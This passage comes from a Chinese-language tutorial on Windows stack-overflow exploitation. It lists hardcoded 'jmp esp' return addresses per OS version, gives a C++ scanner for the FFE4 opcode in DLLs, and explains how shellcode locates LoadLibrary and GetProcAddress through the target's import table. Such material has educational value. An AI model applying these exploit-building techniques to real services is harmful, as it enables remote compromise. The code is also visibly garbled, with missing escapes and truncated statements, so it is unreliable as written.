以上地址,我们可以在测试的时候使用,但是,在真正对付敌人的时候,为了区别出
选择哪一个地址,就需要首先摸清敌人的操作系统以及dll版本号 。
jmp esp 地址如果不对,敌人的程序就会出现"无效页错误"对话框,并且一定会当掉,
所以,在攻击之前,必须通过一些蛛丝马迹,判断敌人的类型 。
以下是测试时候使用的代码:
#ifdef WIN2000
#define JUMPESP "x2axe3xe2x77"
#endif
#ifdef WINNT4
#define JUMPESP "xc3xeaxf0x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP "xa3x95xf7xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP "敌人目标程序上的jmp esp地址 。"
#endif
如果你有softice,可以直接在内存里面搜ffe4 。如果没有,
绿色兵团的Backend 写过一个小程序可以搜索user32.dll中的FFE4(jmp esp)串 。
我把他改了一下,可以搜索指定dll中的FFE4 。算法如下:
/****************************************************************************/
/*ffe4.cpp By Backend
*/
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");
if(argc>1) {
strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y)
{
try
{
if(ptr[y] == 0xFF && ptr[y 1] == 0xE4)
{
int pos = (int)ptry;
cout<<"OPCODE found at 0x"<}
}
catch(...)
{
cout<<"END OF "<
}
}
if(we_loaded_it) FreeLibrary(h);
/****************************************************************************/
2)shellcode所使用函数的问题
在shellcode里面使用了很多win32函数,比如ReadFile,CreateProcess等等 。
这些函数必须加载到了敌人程序的进程空间里面后我们才能使用 。
我们将攻击的敌人的远程服务程序里面并不能保证已经load了我们所需要的
所有的函数 。
我们希望可以作出一个平台无关的shellcode,这就必须:
不直接使用OS版本相关的函数入口地址 。
这是因为函数入口地址是根据OS/SP/升级的版本不同而可能不同的 。
唯一的办法就是对使用的每一个win32函数,都使用LoadLibrary加载dll,
用GetProcAddress函数来获得函数地址 。这需要我们的shellcode里面有一个函数名表
保存每一个所使用的函数的函数名,并且在shellcode执行前,调用上述两个函数
一一获得这些函数的地址 。
但是又有一个问题,就是LoadLibrary和GetProcAddress本身的地址怎么获得呢?
我们想一想,这两个函数的作用?"取得所有其他函数的地址 。"
没错,他们太重要了,每一个win32程序都要使用它们!那么,我们的目标程序呢?
肯定也会有它们的 。所以,在写exploit的时候,这两个函数的地址都是确定的 。
如何找到这两个函数在目标程序里面的加载地址呢?它们会不会是根据敌人操作系统
的不同而变化的呢?不是 。这些动态加载的函数都是在目标程序里面设置了一个入口表 。
由目标程序自己去加载,但是他的入口表地址是固定的 。
你可以使用wdasm32来搜索LoadLibrary和GetProcAddress,
可以看到它们对应的入口表地址AAAA 。在shellcode里面,
可以直接用call [AAAA]来引用它们 。
3)shellcode里面使用的字符串问题
刚刚解决了第二个问题,就引出了第三个问题 。前面提到过使用函数名表以用来动态获得
推荐阅读
- 卡西欧12点会响怎么关
- 对L7的感受
- 荣耀v30pro有关闭下拉搜索吗 荣耀v30pro可以关闭下拉搜索吗
- “木马下载器”病毒出现新变种
- win7桌面图标怎么变小
- 笃行致远的下半句 笃行致远出自哪里
- 再谈谈680I几个缺点
- 假冒Windows“防毒”代码出洞
- 高手教您手工破解网吧系统限制
- 电饭煲煮鸡蛋冷水下锅要多久
